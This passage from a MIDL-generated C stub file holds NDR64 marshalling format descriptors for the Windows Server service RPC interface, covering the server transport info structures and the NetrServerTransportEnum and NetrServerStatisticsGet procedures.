/* 0x0 */,\n        (NDR64_UINT32) 56 /* 0x38 */,\n        0,\n        0,\n        &__midl_frag618,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* SERVER_TRANSPORT_INFO_2 */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag596_t __midl_frag596 =\n{ \n/* *SERVER_TRANSPORT_INFO_2 */\n    { \n    /* *SERVER_TRANSPORT_INFO_2 */\n        { \n        /* *SERVER_TRANSPORT_INFO_2 */\n            0x46,    /* FC64_FORCED_BOGUS_ARRAY */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            { \n            /* *SERVER_TRANSPORT_INFO_2 */\n                0,\n                1,\n                0,\n                0,\n                0,\n                0,\n                0,\n                0\n            },\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            &__midl_frag598\n        },\n        &__midl_frag610,\n        0,\n        0\n    }\n};\n\nstatic const __midl_frag595_t __midl_frag595 =\n{ \n/* _SERVER_XPORT_INFO_2_CONTAINER */\n    { \n    /* _SERVER_XPORT_INFO_2_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SERVER_XPORT_INFO_2_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag606,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag594_t __midl_frag594 =\n{ \n/* *_SERVER_XPORT_INFO_2_CONTAINER */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag595\n};\n\nstatic const __midl_frag593_t __midl_frag593 =\n{ \n/*  */\n    { \n    /* *SERVER_TRANSPORT_INFO_1 */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag583\n    }\n};\n\nstatic const __midl_frag585_t __midl_frag585 =\n{ \n/* SERVER_TRANSPORT_INFO_1 */\n    { \n    /* SERVER_TRANSPORT_INFO_1 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SERVER_TRANSPORT_INFO_1 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 48 /* 0x30 */,\n        0,\n        0,\n        &__midl_frag618,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag583_t __midl_frag583 =\n{ \n/* *SERVER_TRANSPORT_INFO_1 */\n    { \n    /* *SERVER_TRANSPORT_INFO_1 */\n        { \n        /* *SERVER_TRANSPORT_INFO_1 */\n            0x46,    /* FC64_FORCED_BOGUS_ARRAY */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            { \n            /* *SERVER_TRANSPORT_INFO_1 */\n                0,\n                1,\n                0,\n                0,\n                0,\n                0,\n                0,\n                0\n            },\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            &__midl_frag585\n        },\n        &__midl_frag610,\n        0,\n        0\n    }\n};\n\nstatic const __midl_frag582_t __midl_frag582 =\n{ \n/* _SERVER_XPORT_INFO_1_CONTAINER */\n    { \n    /* _SERVER_XPORT_INFO_1_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SERVER_XPORT_INFO_1_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag593,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag581_t __midl_frag581 =\n{ \n/* *_SERVER_XPORT_INFO_1_CONTAINER */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag582\n};\n\nstatic const __midl_frag580_t __midl_frag580 =\n{ \n/*  */\n    { \n    /* *SERVER_TRANSPORT_INFO_0 */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag578\n    }\n};\n\nstatic const __midl_frag578_t __midl_frag578 =\n{ \n/* *SERVER_TRANSPORT_INFO_0 */\n    { \n    /* *SERVER_TRANSPORT_INFO_0 */\n        { \n        /* *SERVER_TRANSPORT_INFO_0 */\n            0x46,    /* FC64_FORCED_BOGUS_ARRAY */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            { \n            /* *SERVER_TRANSPORT_INFO_0 */\n                0,\n                1,\n                0,\n                0,\n                0,\n                0,\n                0,\n                0\n            },\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            &__midl_frag561\n        },\n        &__midl_frag610,\n        0,\n        0\n    }\n};\n\nstatic const __midl_frag577_t __midl_frag577 =\n{ \n/* _SERVER_XPORT_INFO_0_CONTAINER */\n    { \n    /* _SERVER_XPORT_INFO_0_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SERVER_XPORT_INFO_0_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag580,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag576_t __midl_frag576 =\n{ \n/* *_SERVER_XPORT_INFO_0_CONTAINER */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag577\n};\n\nstatic const __midl_frag574_t __midl_frag574 =\n{ \n/* SERVER_XPORT_ENUM_UNION */\n    { \n    /* SERVER_XPORT_ENUM_UNION */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag610,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 4 /* 0x4 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 0 /* 0x0 */,\n        &__midl_frag576,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag581,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag594,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 3 /* 0x3 */,\n        &__midl_frag607,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag573_t __midl_frag573 =\n{ \n/* _SERVER_XPORT_ENUM_STRUCT */\n    { \n    /* _SERVER_XPORT_ENUM_STRUCT */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SERVER_XPORT_ENUM_STRUCT */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag574\n        },\n        { \n        /* _SERVER_XPORT_ENUM_STRUCT */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag572_t __midl_frag572 =\n{ \n/* *_SERVER_XPORT_ENUM_STRUCT */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag573\n};\n\nstatic const __midl_frag569_t __midl_frag569 =\n{ \n/* NetrServerTransportEnum */\n    { \n    /* NetrServerTransportEnum */      /* procedure NetrServerTransportEnum */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag912,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* InfoStruct */      /* parameter InfoStruct */\n        &__midl_frag573,\n        { \n        /* InfoStruct */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* PreferedMaximumLength */      /* parameter PreferedMaximumLength */\n        &__midl_frag928,\n        { \n        /* PreferedMaximumLength */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* TotalEntries */      /* parameter TotalEntries */\n        &__midl_frag928,\n        { \n        /* TotalEntries */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* ResumeHandle */      /* parameter ResumeHandle */\n        &__midl_frag624,\n        { \n        /* ResumeHandle */\n            0,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag928,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag567_t __midl_frag567 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag913\n    },\n    { \n    /* *char */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag613\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag913\n    }\n};\n\nstatic const __midl_frag561_t __midl_frag561 =\n{ \n/* SERVER_TRANSPORT_INFO_0 */\n    { \n    /* SERVER_TRANSPORT_INFO_0 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SERVER_TRANSPORT_INFO_0 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        0,\n        0,\n        &__midl_frag567,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag554_t __midl_frag554 =\n{ \n/* _STAT_SERVER_0 */\n    { \n    /* _STAT_SERVER_0 */\n        0x30,    /* FC64_STRUCT */\n        (NDR64_UINT8) 3 /* 0x3 */,\n        { \n        /* _STAT_SERVER_0 */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 68 /* 0x44 */\n    }\n};\n\nstatic const __midl_frag553_t __midl_frag553 =\n{ \n/* *_STAT_SERVER_0 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag554\n};\n\nstatic const __midl_frag552_t __midl_frag552 =\n{ \n/* **_STAT_SERVER_0 */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 20 /* 0x14 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag553\n};\n\nstatic const __midl_frag545_t __midl_frag545 =\n{ \n/* NetrServerStatisticsGet */\n    { \n    /* NetrServerStatisticsGet */      /* procedure NetrServerStatisticsGet */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        (NDR64_UINT32) 140 /* 0x8c */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag809,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Service */      /* parameter Service */\n        &__midl_frag809,\n        { \n        /* Service */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag928,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* Options */      /* parameter Options */\n        &__midl_frag928,\n        { \n        /* Options */\n            0,\n            0,\n        